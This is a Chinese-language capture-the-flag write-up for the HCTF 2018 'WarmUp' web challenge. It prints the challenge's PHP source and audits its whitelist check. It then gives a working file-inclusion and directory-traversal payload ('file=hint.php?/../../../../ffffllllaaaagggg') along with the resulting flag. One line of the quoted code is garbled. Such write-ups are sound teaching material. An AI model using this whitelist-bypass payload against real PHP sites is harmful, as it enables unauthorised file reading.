[HCTF 2018]WarmUp
1、打开题目看到一张图片,f12看源码

2、发现一个source.php文件,访问source.php
http://28eae5ba-250f-41a9-9ff2-32f30c392ca1.node5.buuoj.cn:81/source.php
得到如下代码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
代码审计:
定义了一个“emmm”的类,利用“checkFile”检查文件是否在白名单中,白名单关联的数组是“$whietlist”,其中包含了文件的键值对,代码中,允许包含的文件有“source.php”和”hint.php“
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
“!isset($page)”判断“$page”是否存在,”!is_string($page)“判断是不是字符串,防止通过数组注入,”||“ 只要任意一个条件为真,就允许访问,为假就输出”echo“,且拒绝访问
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
在数组中,处于白名单的目录通过,”mb_substr()“是多字节安全函数,通过去除url的查询参数,强制补”?“,来避免字符串函数strpos()返回错误
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
C($page . '?', '?')
);
检查”$page”是否存在于白名单中,将$page进行url解码,并重复之前的代码,存在,继续执行代码
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
再次检查$page是否存在白名单,不存在,拒绝访问
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
”! empty($REQUEST[‘file’]“判断参数“file”是否为空,不为空且存在;”is_string($REQUEST[‘file’]“是否为字符串且存在;”emmm::checkFile($REQUEST[‘file’]“调用emmm类的静态方法checkFile,校验白名单,存在即通过;“include $REQUEST[‘file’]”include文件路径,直接执行文件中的php代码。
当参数不为空,且是字符串类型,调用emmm类的checkFile()函数进行检查,通过后立即执行include中文件的php代码
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
3、通过代码审计发现还有一个hint.php文件,访问hint.php,得到一句提示
http://28eae5ba-250f-41a9-9ff2-32f30c392ca1.node5.buuoj.cn:81/source.php?file=hint.php

flag not here, and flag in ffffllllaaaagggg
!!!注意:我们始终是在source.php页面下进行传参,目的是利用include函数将flag从存在的文件找出来,拿到flag,白名单只是为了让我们能进入,更好的执行我们的注入
4、我们得到以上信息后,知道了flag在ffffllllaaaagggg,需要通过checkFile()函数、通过白名单包含的目录以及字符串
source.php?file=hint.php?/../../../../ffffllllaaaagggg
payload解释:
source.php白名单目录,利用他进行传参,“?”参数分隔符
file=hint.php?,file是参数名(容器),只有在file里面才能注入进去,将白名单存在的hint.php?进行传参
/../../../../ffffllllaaaagggg利用系统路径解析规则,找到了flag
系统路径解析规则:当file参数被php处理后,形成了有效路径的部分参与了解析,将路径全部入栈,然后再进行解析
5、将payload注入后得到flag
http://28eae5ba-250f-41a9-9ff2-32f30c392ca1.node5.buuoj.cn:81/source.php?file=hint.php?/../../../../ffffllllaaaagggg

flag{5858d079-80c5-4fca-af65-a945833c5fb6}










